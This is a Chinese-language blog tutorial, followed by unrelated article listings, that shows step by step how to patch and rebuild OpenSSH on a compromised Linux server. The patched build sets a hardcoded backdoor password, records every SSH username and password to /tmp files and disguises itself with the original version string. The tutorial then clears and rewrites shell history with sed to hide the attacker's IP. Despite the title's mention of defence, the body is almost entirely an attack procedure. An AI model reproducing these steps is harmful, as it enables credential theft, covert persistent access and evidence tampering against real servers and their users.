Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

那么怎么给添加OpenSSH后门以及防范后门呢

安装依赖包

[root@DaMoWang openssh-.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

准备安装包

[root@DaMoWang ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips Feb
[root@DaMoWang ~]# ls /opt/
openssh-.9p1.patch.tar.gz openssh-.9p1.tar.gz
# openssh-5.9p1.patch 是补丁文件

解压

[root@DaMoWang ~]# cd /opt/
[root@DaMoWang opt]# tar xf openssh-.9p1.tar.gz
[root@DaMoWang opt]# tar xf openssh-.9p1.patch.tar.gz
[root@DaMoWang opt]# ls
openssh-.9p1 openssh-.9p1.patch openssh-.9p1.patch.tar.gz openssh-.9p1.tar.gz

给openssh打补丁

[root@DaMoWang opt]# cp openssh-.9p1.patch/sshbd5.9p1.diff openssh-.9p1
[root@DaMoWang opt]# which patch
/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)
[root@DaMoWang opt]# yum install patch
[root@DaMoWang opt]# cd /opt/openssh-.9p1
[root@DaMoWang openssh-.9p1]# patch < sshbd5.9p1.diff # 打补丁就是修改替换原文件
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h

添加后门密码

[root@DaMoWang openssh-.9p1]# vim includes.h
# 跳转到配置文件末尾处 , 修改默认配置
#define ILOG "/tmp/ilog" # 记录远程登录本机的用户和密码
#define OLOG "/tmp/olog" # 记录本机远程登录到其他主机的用户和密码
#define SECRETPW "apaajaboleh" # 后门密码

修改版本号

[root@DaMoWang openssh-.9p1]# vim version.h
# 修改为当前OpenSSH的版本号
#define SSH_VERSION "OpenSSH_5.3" #define SSH_PORTABLE "p1"

编译安装

[root@DaMoWang openssh-.9p1]# ./configure --prefix=/usr \
--sysconfdir=/etc/ssh \
--with-pam \
--with-kerberos5 \
&& make && make install

 

可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

重启ssh服务 测试一下

[root@DaMoWang openssh-.9p1]# service sshd restart
停止 sshd: [确定]
正在启动 sshd: [确定]
[root@DaMoWang openssh-.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips Feb

服务正常启动 , 版本也与原版本一致

测试是否能劫持用户密码

首先测试远程登录本机

现在并没有生成文件

用xshell远程连接一下

 用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

测试后面密码能否登录本机

为了看到效果 使用明文密码登录

连接以后 别留下脚印

[root@DaMoWang ~]# export HISTFILE=/dev/null
[root@DaMoWang ~]# export HISTSIZE=
[root@DaMoWang ~]# export HISTFILESIZE=
[root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换
[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history
# 其他访问日志也可以用用sed替换ip , 瞒天过海

利用Openssh后门 劫持root密码的更多相关文章

  1. OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...

  2. 利用phpmyadmin修改mysql的root密码及如何进入修改密码后的phpmyadmin

    1.利用phpmyadmin修改mysql的root密码 很多人利用phpmyadmin或者命令行来修改了mysql的root密码,重启后发现mysql登录错误,这是为什么呢?修改mysql的root ...

  3. 利用Tomcat的用户名和密码构建“永久”后门

    从本案例中可以学到: (1)关于JSP的一些基础知识 (2)利用Tomcat的用户名和密码来构建后门 本文首先要感谢<黑客手册>“非安全.后生”编辑为本为提供了帮助,还要感谢网友“伤心的鱼 ...

  4. ESXI 6.5利用Centos7重置root密码

    ESXI6.5宿主机,很久没有登录,再次登录的时候,发现忘记root密码了 1.先将刻录一个CentOS7的启动光盘或U盘,并将服务器的启动项修改为光盘 2.保存BIOS重启后,选择Troublesh ...

  5. Linux OpenSSH后门的添加与防范

    引言:相对于Windows,Linux操作系统的密码较难获取.不过很多Linux服务器配置了OpenSSH服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其S ...

  6. Linux OpenSSH后门的加入与防范

    引言:相对于Windows,Linux操作系统的password较难获取.只是非常多Linuxserver配置了OpenSSH服务.在获取root权限的情况下,能够通过改动或者更新OpenSSH代码等 ...

  7. Mac上MySQL忘记root密码且没有权限的处理办法&workbench的一些tips (转)

    忘记Root密码肿么办 Mac上安装MySQL就不多说了,去mysql的官网上下载最新的mysql包以及workbench,先安装哪个影响都不大.如果你是第一次安装,在mysql安装完成之后,会弹出来 ...

  8. mysql 重置root密码

    最近又项目用到mysql 由于电脑上mysql是很久以前安装的root密码忘记了, 百度一下重置密码 Windows: 1.以系统管理员登陆: 2.停止MySQL服务: 3.进入CMD,进入MySQL ...

  9. 本地mysql数据库root密码丢失修改方法

      1,停止数据库 2,cd /etc/mysql 3,利用vim命令打开mysql配置文件my.cnf,在mysqld进程配置文件中添加skip-grant-tables,添加完成后,执行wd保存. ...

随机推荐

  1. 一份详细的asyncio入门教程

    asyncio模块提供了使用协程构建并发应用的工具.它使用一种单线程单进程的的方式实现并发,应用的各个部分彼此合作, 可以显示的切换任务,一般会在程序阻塞I/O操作的时候发生上下文切换如等待读写文件, ...

  2. Elasticsearch学习笔记二

    PS:上一篇已经介绍了ES的一些基础概念以及单机版ES的安装,配置,本文主要介绍ES的集群管理,CRUD以及简单聚合查询. 集群管理 ES的集群部署起来也很方便,将单机版SCP复制几分,修改elast ...

  3. MyBatis3系列__01HelloWorld

    # MyBatis作为一个ORM框架,其重要程度不用过多介绍.下面开始一起学习吧:本博客的编程方法与MyBatis官方文档基本一致:## 1.创建一个数据库mybatis_learn以及对应的表tbl ...

  4. 求n到m之间素数的个数

    Description 求n到m之间素数的个数 Input 多组测试数据,每组先输入一个整数t,表示组数,然后每组输入2个正整数n和m,(1 <= n <= m <= 10000) ...

  5. Caused by: java.util.concurrent.RejectedExecutionException: Thread pool is EXHAUSTED! Thread Name:

    异常引发的问题: 线程模型 如果事件处理的逻辑能迅速完成,并且不会发起新的 IO 请求,⽐如只是在内存中记个标识,则直接在 IO 线程上处理更快,因为减少了线程池调度. 但如果事件处理逻辑较慢,或者需 ...

  6. JSON WEB Token(JWT)

    最近面试被问及单点登陆怎么解决?自己的项目前后端分离,自己实现token认证,token有失效时间,token中包含用户基本的信息.且一个当用户重新登陆后,原来的token就会失效,这么安全的一个to ...

  7. 【欧拉回路+最小生成树】SD开车@山东2018省队一轮集训day1

    目录 [欧拉回路+最小生成树]SD开车@山东2018省队一轮集训day1 PROBLEM 题目描述 输入 输出 样例输入 样例输出 提示 SOLUTION CODE [欧拉回路+最小生成树]SD开车@ ...

  8. 太原面经分享:如何在vue面试环节,展示你晋级阿里P6+的技术功底?

    前言 一年一度紧张刺激的高考开始了,与此同时,我也没闲着,奔走在各大公司的前端面试环节,不断积累着经验,一路升级打怪. 最近两年,太原作为一个准二线城市,各大互联网公司的技术栈也在升级换代,假如你在太 ...

  9. 切换controller 后面的最好不要用id参数,不然会根据路由规则改变

    //切换actionResult             return RedirectToAction("Edit", "EngineeringCase",  ...

  10. Hibernate-day03

    双向的many2one/one2many 双向many2one/one2many的问题:一定有额外的SQL发出;在数据库里面,外键表示many2one或者one2many的关系,外键是没有方向的;但是 ...